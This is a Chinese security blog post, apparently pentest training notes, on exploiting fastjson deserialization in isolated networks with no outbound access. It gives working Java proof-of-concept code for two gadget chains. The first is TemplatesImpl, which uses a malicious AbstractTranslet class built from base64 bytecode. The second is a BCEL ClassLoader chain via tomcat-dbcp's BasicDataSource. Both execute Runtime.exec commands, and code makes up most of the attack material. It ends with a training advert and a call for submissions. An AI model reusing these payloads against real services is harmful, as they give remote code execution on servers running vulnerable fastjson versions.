java安全 fastjson不出网利用
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
最近暗月大哥在忙 由帅气的暗月小徒弟来更新 以下是平时一些笔记。希望对大家有用。
1.介绍
fastjson getshell的时候 需要构造一个恶意类
用的 rmi和jdni协议都是要出网的。在内网的情况下如果不出网的情况下就难以利用。
2.TemplatesImpl利用链
这个利用链有限制的。由于该字段在fastjson1.2.22版本引入,所以只能影响1.2.22-1.2.24
使用条件
1. parseObject(input,Object.class,Feature.SupportNonPublicField)
2. parse(input,Feature.SupportNonPublicField)
这里解释一下payload的构造:
@type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。
_bytecodes:主要是恶意类TempletaPoc的字节码。
_name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)
_tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类
outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。
package sec;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.serializer.SerializerFeature;class User{private String id;User(){System.out.println("User go");}public void setId(String ids){System.out.println("setId go");this.id=ids;}public String getId(){System.out.println("GetId go");return this.id;}@Overridepublic String toString() {return "User{" +"id='" + id + ''' +'}';}}public class App{public static void main(String[] args){System.out.println(JSON.parse("{"@type":"sec.User","id":"110"}"));}}
User gosetId goUser{id='110'}
把方法删掉无法获取值
package sec;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.serializer.SerializerFeature;class User{private String id;User(){System.out.println("User go");}@Overridepublic String toString() {return "User{" +"id='" + id + ''' +'}';}}public class App{public static void main(String[] args){System.out.println(JSON.parse("{"@type":"sec.User","id":"110"}"));}}
User goUser{id='null'}
私有变量 加上 Feature.SupportNonPublicField 是可以进行赋值的。
package sec;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.serializer.SerializerFeature;class User{private String id;User(){System.out.println("User go");}@Overridepublic String toString() {return "User{" +"id='" + id + ''' +'}';}}public class App{public static void main(String[] args){System.out.println(JSON.parse("{"@type":"sec.User","id":"110"}",Feature.SupportNonPublicField));}}
User goUser{id='110'}
是的,就是7U21链里面的TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类本身就存在反序列化漏洞,会将成员变量_bytecodes的数据作为类的字节码进行newInsantce操作从而调用其构造方法或static块。故可以fastjson为契机去调用此类。
但是由于_name 和_bytecodes 是私有属性,所以需要FASTJSON反序列化接口有Feature.SupportNonPublicField参数才能实现,利用条件很苛刻,但是条件允许的话就很方便,payload打过去就完事。
“_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。”
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {static {try {String[] cmd = {"calc"};java.lang.Runtime.getRuntime().exec(cmd).waitFor();} catch ( Exception e ) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}}
构造恶意类 编译 读取文件得到payload
package sec;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.util.IOUtils;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class FastjsonTemplatesImpl {public static void main(String[] args) throws IOException {byte[] code = Files.readAllBytes(Paths.get("D:pentestjavasecfastjsontargetclassesEvil.class"));String byteCode = Base64.getEncoder().encodeToString(code);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{"@type":"" + NASTY_CLASS +"","_bytecodes":[""+byteCode+""]," +"'_name':'Evil'," +"'_tfactory':{}," +""_outputProperties":{}}n";System.out.println(payload);//反序列化Object object = JSON.parseObject(payload, Feature.SupportNonPublicField);}}
利用成功

3.BCEL字节码利用
而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以进行bcel字节码的加载。
需要添加依赖 。
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>9.0.8</version></dependency>
编译代码
import java.io.IOException;public class Test {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}}
package sec;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;import java.nio.file.Paths;
class fastjsonbecl {public static void main(String[] argv) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("D:pentestjavasecfastjsontargetclassesTest.class"));String code = Utility.encode(bytes,true);String poc = "{n" +" {n" +" "aaa": {n" +" "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",n" +" "driverClassLoader": {n" +" "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"n" +" },n" +" "driverClassName": "$BCEL$"+ code+ ""n" +" }n" +" }: "bbb"n" +"}";System.out.println(poc);JSON.parse(poc); }}

4.关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
5.投稿通知
-
目前只接受原创文章投稿 内容免杀 渗透实例 代码审计 溯源 经验技巧
-
要求 质量较好 从没发表 如有敏感内容请打码。
-
一经采纳根据文章质量给予作者 50-300的稿费。
-
欢迎写手长期合作 投稿联系

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/5837.html

